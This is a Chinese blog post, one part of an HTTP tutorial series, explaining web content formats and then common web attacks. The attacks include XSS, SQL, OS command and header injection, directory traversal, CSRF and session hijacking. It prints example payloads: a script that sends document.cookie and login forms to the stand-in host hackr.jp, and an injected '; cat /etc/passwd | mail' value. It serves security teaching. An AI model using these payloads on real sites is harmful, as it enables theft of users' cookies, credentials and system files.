HTTP协议（八）

最新推荐文章于 2024-06-14 11:42:39 发布
最新推荐文章于 2024-06-14 11:42:39 发布
阅读量478 收藏
点赞数
分类专栏： HTTP协议 文章标签： http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38175040/article/details/111467314
版权

在Web刚出现时，我们只能浏览那些页面样式简单的内容。如今，Web使用各种各样的技术，来呈现丰富多彩的内容。

在这里插入图片描述

一.构建WEB内容的技术

1.Web 页面几乎全由 HTML 构建
HTML（HyperText Markup Language，超文本标记语言）是为了发送 Web 上的超文本（Hypertext）而开发的标记语言。超文本是一种文
档系统，可将文档中任意位置的信息与其他信息（文本或图片等）建立关联，即超链接文本。
在这里插入图片描述

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>hackr.jp</title>
<style type="text/css">
.logo {
 padding: 20px;
 text-align: center;
}
</style>
</head>
<body>
<div class="logo">
 <p><img src="photo.jpg" alt="photo" width="240" height="127" /></p>
 <p><img src="hackr.gif" alt="hackr.jp" width="240" height="84" /></p>
<p><a href="http://hackr.jp/">hackr.jp</a> </p>
</div>
</body>
</html>

设计应用CSS
CSS（Cascading Style Sheets，层叠样式表）可以指定如何展现HTML 内的各种元素，属于样式表标准之一。即使是相同的 HTML 文档，通过改变应用的 CSS，用浏览器看到的页面外观也会随之改变。CSS 的理念就是让文档的结构和设计分离，达到解耦的目的。

动态HTML
所谓动态 HTML（Dynamic HTML），是指使用客户端脚本语言将静态的 HTML 内容变成动态的技术的总称。鼠标单击点开的新闻Google Maps 等可滚动的地图就用到了动态 HTML。

2.可扩展标记语言XML
XML（eXtensible Markup Language，可扩展标记语言）是一种可按应用目标进行扩展的通用标记语言。旨在通过使用 XML，使互联网数据共享变得更容易。
XML 和 HTML 都是从标准通用标记语言 SGML（Standard Generalized Markup Language）简化而成。与 HTML 相比，它对数据的记录方式做了特殊处理。
下面我们以 HTML 编写的某公司的研讨会议议程为例进行说明。

<html>
<head>
<title>T公司研讨会介绍</title>
</head>
<body>
<h1>T公司研讨会介绍</h1>
<ul>
 <li>研讨会编号 ：TR001
 <ul>
 <li>Web应用程序脆弱性诊断讲座</li>
 </ul>
 </li>
 <li>研讨会编号 ：TR002
 <ul>
 <li>网络系统脆弱性诊断讲座</li>
 </ul>
 </li>
</ul>
</body>
</html>

用浏览器打开该文档时，就会显示排列的列表内容，但如果这些数据被其他程序读取会发生什么？某些程序虽然具备可通过识别布局特征取出文本的方法，但这份 HTML 的样式一旦改变，要读取数据内容也就变得相对困难了。可见，为了保持数据的正确读取，HTML 不适合用来记录数据结构。
接着将这份列表以 XML 的形式改写就成了以下的示例。

<研讨会 编号="TR001" 主题="Web应用程序脆弱性诊断讲座">
 <类别>安全</类别>
 <概要>为深入研究Web应用程序脆弱性诊断必要的…</概要>
</研讨会>
 <研讨会 编号="TR002" 主题="网络系统脆弱性诊断讲座">
 <类别>安全</类别>
 <概要>为深入研究网络系统脆弱性诊断必要的…</概要>
</研讨会>

XML 和 HTML 一样，使用标签构成树形结构，并且可自定义扩展标签。
从 XML 文档中读取数据比起 HTML 更为简单。由于 XML 的结构基本上都是用标签分割而成的树形结构，因此通过语法分析器的解析功能解析 XML 结构并取出数据元素，可更容易地对数据进行读取。
更容易地复用数据使得 XML 在互联网上被广泛接受。比如，可用在 2 个不同的应用之间的交换数据格式化。

3.　JavaScript 衍生的轻量级易用 JSON
JSON（JavaScript Object Notation）是一种以 JavaScript（ECMAScript）的对象表示法为基础的轻量级数据标记语言。能够处理的数据类型有false/null/true/ 对象 / 数组 / 数字 / 字符串，这 7 种类型。

{“name”: “Web Application Security”, “num”: “TR001”}

JSON 让数据更轻更纯粹，并且 JSON 的字符串形式可被 JavaScript轻易地读入。当初配合 XML 使用的 Ajax 技术也让 JSON 的应用变得更
为广泛。另外，其他各种编程语言也提供丰富的库类，以达到轻便操作JSON 的目的。

二. WEB的攻击技术

1.针对 Web 的攻击技术
简单的 HTTP 协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端，以及运行在服
务器上的 Web 应用等资源才是攻击目标。目前，来自互联网的攻击大多是冲着 Web 站点来的，它们大多把Web 应用作为攻击目标。
在这里插入图片描述
1.1　HTTP 不具备必要的安全功能
从整体上看，HTTP 就是一个通用的单纯协议机制。因此它具备较多优势，但是在安全性方面则呈劣势。
就拿远程登录时会用到的 SSH 协议来说，SSH 具备协议级别的认证及会话管理等功能，HTTP 协议则没有。另外在架设 SSH 服务方面，任何人都可以轻易地创建安全等级高的服务，而 HTTP 即使已架设好服务器，但若想提供服务器基础上的 Web 应用，很多情况下都需要重新开发。

1.2　在客户端即可篡改请求
在 Web 应用中，从浏览器那接收到的 HTTP 请求的全部内容，都可以在客户端自由地变更、篡改。所以 Web 应用可能会接收到与预期
数据不相同的内容。
在 HTTP 请求报文内加载攻击代码，就能发起对 Web 应用的攻击。 通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入，若这时 Web 应用存在安全漏洞，那内部信息就会遭到窃取，或被攻击者拿到管理权限。
在这里插入图片描述
1.3 针对 Web 应用的攻击模式
以服务器为目标的主动攻击
主动攻击（active attack）是指攻击者通过直接访问 Web 应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行
攻击，因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是 SQL 注入攻击和 OS 命令注入攻击。
在这里插入图片描述
以服务器为目标的被动攻击
被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击通常的攻击模式如下所示。

  • 攻击者诱使用户触发已设置好的陷阱，而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  • 当用户不知不觉中招之后，用户的浏览器或邮件客户端就会触发这个陷阱。
  • 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用，运行攻击代码。
  • 执行完攻击代码，存在安全漏洞的 Web 应用会成为攻击者的跳板，可能导致用户所持的 Cookie 等个人信息被窃取，登录状态中的用户 权限遭恶意滥用等后果。被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

在这里插入图片描述
2.因输出值转义不完全引发的安全漏洞
2.1　跨站脚本攻击XSS
跨站脚本攻击（Cross-Site Scripting，XSS）是指在通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript而进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样，攻击者编写脚本设下陷阱，用户在自己的浏览器上运行时，一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

攻击示例：
下图网站通过地址栏中 URI 的查询字段指定 ID，即相当于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞。
在这里插入图片描述

充分熟知此处漏洞特点的攻击者，于是就创建了下面这段嵌入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内，诱使用户去点击该 URL。

http://example.jp/login?ID="><span+s="

浏览器打开该 URI 后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后，就会直接发送到攻击者的网站（也就是 hackr.jp），导致个人登录信息被窃取。
在这里插入图片描述
之后，ID 及密码会传给该正规网站，而接下来仍然是按正常登录步骤，用户很难意识到自己的登录信息已遭泄露。
原本正常页面源代码：

<div class="logo">
 <img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
 ID <input type="text" name="ID" value="yama" />
</div>

跨站脚本攻击页面的代码：

<div class="logo">
 <img src="/img/logo.gif" alt="E! 拍卖会 />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
 ID <input type="text" name="ID" value=""><script>var f=document⇒ .getElementById("login"); f.action="http://hackr.jp/pwget"; f.method=⇒
"get";</script><span s="" />
</div>

对用户Cookie的窃取攻击
下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的 Cookie 信息。

该 脚 本 内 指 定 的 http://hackr.jp/xss.js 文 件。 即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序，即可访问到该 Web 应用所处域名下的 Cookie 信息。然后这些信息会发送至攻击者的 Web 网站（http://hackr.jp/），记录在他的登录日志中。结果，攻击者就这样窃取到用户的 Cookie 信息了。
在这里插入图片描述

2.2 SQL 注入攻击
SQL 注入（SQL Injection）是指针对 Web 应用使用的数据库，通过运行非法的 SQL 而产生的攻击。该安全隐患有可能引发极大的威胁，
有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库，当需要对数据库表内的数据进行检索或添加、删除等操作时，会使用 SQL 语句连接数据库进行特定的操
作。如果在调用 SQL 语句的方式上存在疏漏，就有可能执行被恶意注入（Injection）非法 SQL 语句。
SQL 注入攻击有可能会造成以下等影响。

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

SQL注入攻击案例

在这里插入图片描述
把刚才指定查询字段的上野宣改写成“上野宣 '–”。
在这里插入图片描述
在这里插入图片描述

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL 注入攻击时，很有可能会导致用户信息或结算内容等其
他数据表的非法浏览及篡改，从而使用户遭受不同程度的损失。

2.3 OS 命令注入攻击
OS 命令注入攻击（OS Command Injection）是指通过 Web 应用，执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的
地方就有存在被攻击的风险。可以从 Web 应用中通过 Shell 来调用操作系统命令。倘若调用 Shell时存在疏漏，就可以执行插入的非法 OS 命令。
OS 命令注入攻击可以向 Shell 发送命令，让 Windows 或 Linux 操作系统的命令行启动程序。也就是说，通过 OS 注入攻击可执行 OS 上
安装着的各种程序。

OS注入攻击案例
下面以咨询表单的发送功能为例，讲解 OS 注入攻击。该功能可将用户的系统信息以邮件的方式发送给攻击者。
在这里插入图片描述

下面摘选处理该表单内容的一部分核心代码。

my $adr = $q->param(‘mailaddress’);
open(MAIL, “¦ /usr/sbin/sendmail $adr”);
print MAIL “From: info@example.com\n”;

程序中的 open 函数会调用 sendmail 命令发送邮件，而指定的邮件发送地址即 $adr 的值。
攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd ¦ mail hack@example.jp

程序接收该值，构成以下的命令组合。

¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp

上面攻击者的输入值中含有分号（;）。这个符号在 OS 命令中，会被解析为分隔多个执行命令的标记。
可见，sendmail 命令执行被分隔后，接下去就会执行 cat /etc/passwd | mail hack@example.jp 这样的命令了。结果，含有 Linux 账户信息 /etc/passwd 的文件，就以邮件形式发送给了 hack@example.jp。

2.4 HTTP首部注入攻击
HTTP 首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式。
HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体（HTTP 响应截断攻击）

2.5 邮件首部注入攻击
邮件首部注入（Mail Header Injection）是指 Web 应用中的邮件发送功能，攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站，可对任意邮件地址发送广告邮件或病毒邮件。

2.6 目录遍历攻击
目录遍历（Directory Traversal）攻击是指对本无意公开的文件目录，通过非法截断其目录路径后，达成访问目的的一种攻击。这种攻击
有时也称为路径遍历（Path Traversal）攻击。
通过 Web 应用对文件处理操作时，在由外部指定文件名的处理存在疏漏的情况下，用户可使用 …/ 等相对路径定位到 /etc/passed 等绝对
路径上，因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来，就有可能非法浏览、篡改或删除 Web 服务器上的文件。
目录遍历攻击案例
下面以显示读取文件功能为例，讲解目录遍历攻击。该功能通过以下查询字段，指定某个文件名。然后从 /www/log/ 文件目录下读取这个指定的文件。

http://example.com/read.php?log=0401.log

攻击者设置如下查询字段后发出请求。

http://example.com/read.php?log=…/…/etc/passwd

查询字段为了读取攻击者盯上的 /etc/passwd 文件，会从 /www/log/目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问
请求处理，那原本不公开的文件就存在可被访问的风险。
在这里插入图片描述

3.　因设置或设计上的缺陷引发的安全漏洞
因设置或设计上的缺陷引发的安全漏洞是指，错误设置 Web 服务器，或是由设计上的一些问题引起的安全漏洞。

3.1 强制浏览
强制浏览（Forced Browsing）安全漏洞是指，从安置在 Web 服务器的公开目录下的文件中，浏览那些原本非自愿公开的文件。
强制浏览有可能会造成以下一些影响。

  • 泄露顾客的个人信息等重要情报
  • 泄露原本需要具有访问权限的用户才可查阅的信息内容
  • 泄露未外连到外界的文件

对那些原本不愿公开的文件，为了保证安全会隐蔽其 URL。可一旦知道了那些 URL，也就意味着可浏览 URL 对应的文件。直接显示容
易推测的文件名或文件目录索引时，通过某些方法可能会使 URL 产生泄露。

3.2 不正确的错误消息处理
不正确的错误消息处理（Error Handling Vulnerability）的安全漏洞是指，Web 应用的错误信息内包含对攻击者有用的信息。与 Web 应用
有关的主要错误信息如下所示。

  • Web 应用抛出的错误消息
  • 数据库等系统抛出的错误消息

Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说，详细的错误消息有可能给他们下一次攻击以提示。
例如：
在这里插入图片描述
上方的画面中显示了与 SQL 有关的错误信息。对开发者而言，该信息或许在 Debug 时会有帮助，但对用户毫无用处。
攻击者从这条消息中可读出数据库选用的是 MySQL，甚至还看见了 SQL 语句的片段。这可能给攻击者进行 SQL 注入攻击以启发。

4.因会话管理疏忽引发的安全漏洞
会话管理是用来管理用户状态的必备功能，但是如果在会话管理上有所疏忽，就会导致用户的认证状态被窃取等后果。

4.1 会话劫持
会话劫持（Session Hijack）是指攻击者通过某种手段拿到了用户的会话 ID，并非法使用此会话 ID 伪装成用户，达到攻击的目的。
在这里插入图片描述
下面列举了几种攻击者可获得会话 ID 的途径。

  • 通过非正规的生成方法推测会话 ID
  • 通过窃听或 XSS 攻击盗取会话 ID
  • 通过会话固定攻击（Session Fixation）强行获取会话 ID

案例：
在这里插入图片描述
4.2 跨站点请求伪造
跨站点请求伪造（Cross-Site Request Forgeries，CSRF）攻击是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击。
跨站点请求伪造有可能会造成以下等影响。

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

攻击案例：
在这里插入图片描述

5. 其他安全漏洞
5.1 点击劫持
点击劫持（Clickjacking）是指利用透明的按钮或链接做成陷阱，覆盖在 Web 页面之上。然后诱使用户在不知情的情况下，点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装（UI Redressing）。

5.2 DoS攻击
DoS 攻击（Denial of Service attack）是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站，还包括网络设备及服务器等。
主要有以下两种 DoS 攻击方式。

  • 集中利用访问请求造成资源过载，资源用尽的同时，实际上服务也就呈停止状态。
  • 通过攻击安全漏洞使服务停止。

其中，集中利用访问请求的 DoS 攻击，单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求，何为攻击请求，因此很难防止 DoS 攻击。
多台计算机发起的 DoS 攻击称为 DDoS 攻击（Distributed Denial of Service attack）。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

5.3 后门程序
后门程序（Backdoor）是指开发设置的隐藏入口，可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。
通常的后门程序分为以下 3 种类型。

  • 开发阶段作为 Debug 调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web 应用中的后门程序，由于和正常使用时区别不大，通常很难发现。

LSQ的测试日记
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
HTTP问题总结
iCoding91
03-20 1464
HTTP相关内容 1.HTTP协议简介 HTTP协议是一种网络协议。网络协议：计算机通信网络中两台计算机之间进行通信必须遵守的规定or准则。 HTTP协议属于应用层协议。 HTTP协议在传输层使用的是可靠的数据传输协议TCP协议。 TCP/IP协议族中和HTTP协议关系比较密切的协议： IP，TCP，DNS。分属于：网络层、传输层、应用层。 IP简介 位置：网络层 ...
passive的作用和原理
weixin_34125592的博客
12-04 1454
passived到底有什么用？ passived主要用于优化浏览器页面滚动的性能，让页面滚动更顺滑~~ passived产生的历史时间线 addEventListener()：大家都是认识的，为dom添加触发事件，故事就从这里开始。 在早期addEventListener是这样的： addEventListener(type, lis...
Lesson7：HTTP协议
weixin_44258092的博客
04-18 3172
详细介绍了HTTP协议的工作过程，介绍了抓包工具fiddle的使用，对HTTP请求和HTTP响应的格式进行总结，介绍了HTTP请求中的URL、方法(主要介绍GET和POST)、报头、状态码等属性，其中重点掌握cookie的相关知识点。在最后介绍了如何使用Ajax和JQuery构建HTTP请求。
Http的常见错误解析
小黄师傅的专栏
10-25 562
HTTP 400 – 请求无效 　　HTTP 401.1 – 未授权：登录失败 　　HTTP 401.2 – 未授权：服务器配置问题导致登录失败 　　HTTP 401.3 – ACL禁止访问资源 　　HTTP 401.4 – 未授权：授权被筛选器拒绝 　　HTTP 401.5 – 未授权：ISAPI或CGI授权失败 　　HTTP 403 – 禁止访问 　　HTTP 403 – 对In
【计算机网络】HTTP 协议详解
热门推荐
吞吞吐吐大魔王的博客
03-06 11万+
文章目录1. HTTP 协议介绍2. HTTP 协议的工作过程3. Fiddler 抓包工具介绍3.1 抓包工具的使用3.2 抓包结果3.3 抓包工具原理4. HTTP 协议格式总览5. HTTP 请求（Request）5.1 认识 URLURL 基本介绍URL 基本格式URL 参数介绍URLencode 介绍5.2 认识“方法”（method）GET 方法POST 方法GET 和 POST 的区别关于 GET 请求的 URL 长度问题的误解关于 POST 比 GET 更安全的误解关于 GET 只能传输文本
八、http协议
come_bn的博客
01-21 1523
一、概念： 协议：计算机通信网络中两台计算机之间进行通信所必须共同遵守的规则； http协议：超文本传输协议，是一种规定来浏览器和服务器之间通信的规则； 二、URL（统一资源定位符） 概念：互联网上资源的地址、位置。每一个资源都有一个唯一的URL； 格式：协议：//主机地址/路径 三、http协议的请求内容： http请求组成： 请求行、请求头、请求空行和请求数据； 请求行：请求方式 主机 协议 请求体 请求方法为get，请求体没有数据； 请求方法为post，请求体有数据； 四、g
HTTP协议
如果没有梦想，那跟咸鱼有什么分别
05-19 1447
HTTP协议 一、HTTP简介 HTTP协议，即==超文本传输协议==(Hypertext Transfer Protocol)。是一种规定了浏览器和万维网之间互相通信的规则，通过因特网传送万维网文档的数据传送协议。 HTTP是一个==应用层协议==，由请求和响应构成，是一个标准的客户端服务器模型 HTTP是一个 ==**无状态 **==的协议。 HTTP默认的端口号为：80，HTTPS的端口号为：443。 浏览网页是HTTP的主要应用，但是这并不代表HTTP就只能应用于网页的浏览。HT
http协议doc文档
02-26
http 消息是指 http 通信中的基本单元，包括结构化的八比特字节序列、报头和消息体。http 请求是一种 http 消息，包括请求方法、uri 和报头。http 应答是一种 http 消息，包括状态码、报头和消息体。 http 资源是一...
Web应用安全：HTTP协议习题.docx
06-17
Web应用安全：HTTP协议习题 本资源摘要信息主要涵盖了Web应用安全中的HTTP协议习题，涉及到HTTP请求和响应模型、HTTP请求方法、HTTP消息类型、HTTP状态码、Cookie安全隐患、URL编码、HTTPS访问过程、Cookie的作用等...
网络协议知识总结.docx
12-23
* 其他协议包括BOOTP、PPTP、HTTP、HTTPS、SSL、SMTP、MIME、IMAP、POP、FTP、NTP、DHCP、SNMP、LDAP等。 * 这些协议负责不同的网络功能，如私人网络之间的连接、Web 服务器与 Web 浏览器之间的通信、电子邮件的传输...
通信与网络中的不可不知的八类互联网协议
11-05
　互联网协议1 HTTP 　英文名称:hyper text transport protocol 　中文名称:超文本传输协议 　功能介绍:它是Internet上进行信息传输时使用最为广泛的一种通信协议,所有的WWW程序都必须遵循这个协议标准?它的主要...
HTTP协议的web攻击和https简单介绍
nobugnomoney的博客
01-29 3407
Web 的攻击技术 1、针对 Web 的攻击技术 简单的 HTTP 协议本身并不存在安全性问题，因此协议本身几乎不会 成为攻击的对象。应用 HTTP 协议的服务器和客户端，以及运行在服 务器上的 Web 应用等资源才是攻击目标。 1、 HTTP 不具备必要的安全功能 几乎现今所有的 Web 网站都会使用会话 （session）管理、加密处理等安全性方面的功能，而 HTTP 协议内并 不具备这些功能。 因此，开发者需要自行设计并开发认证及会话管理功能来满足 Web 应用的安全。而自行设计就意味着会出现各种形形
http网络服务器
weixin_67916525的博客
06-10 363
【代码】网络服务器。
Dubbo3 服务原生支持 http 访问，兼具高性能与易用性
最新发布
阿里巴巴云原生的博客
06-14 1035
这个现状在 Dubbo3 中得到了彻底解决，Dubbo 3.3 版本的最新 triple 协议，在持续提供高性能通信、面向接口易用性的同时，支持 http application/json 格式访问，大幅简化了开发测试、入口流量接入成本。
Get、Post的区别------重定向和转发的区别-----http、https的区别！！！
qq_64847107的博客
06-13 295
1、2、3、4、5、
04_第四章 XML_Tomcat_HTTP
weixin_65644655的博客
06-13 866
1.创建SAXReader对象2. 解析XML获取Document对象: 需要传入要解析的XML文件的字节输入流3. 获取文档的根标签4. 获取标签的子标签//获取所有子标签//获取指定标签名的子标签List<Element> sonElementList = rootElement.elements("标签名");5. 获取标签体内的文本6. 获取标签的某个属性的值String value = element.attributeValue("属性名");
HTTP与HTTPS
2301_79955948的博客
06-13 919
HTTPS（Hypertext Transfer Protocol Secure）是HTTP（Hypertext Transfer Protocol）的安全版本，它在HTTP的基础上增加了SSL/TLS协议，以实现数据的加密传输，确保数据的安全性和完整性。：如果浏览器显示安全警告，比如“此网站出具的安全证书不是受信任的证书颁发机构颁发的”，这可能意味着网站的SSL证书不被浏览器信任，或者证书存在问题。综上所述，HTTPS是HTTP的安全版本，它通过加密来保护数据的安全性和完整性，是现代网站的首选协议.
HTTP 协议的请求方式
07-16
HTTP请求方法是指在HTTP协议中定义的用于请求服务器对资源进行操作的方法。在HTTP/1.1协议中，共定义了八种方法，包括： 1. GET：获取资源，用于请求指定的资源。 2. POST：提交数据，用于向指定的资源提交数据。 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LSQ的测试日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值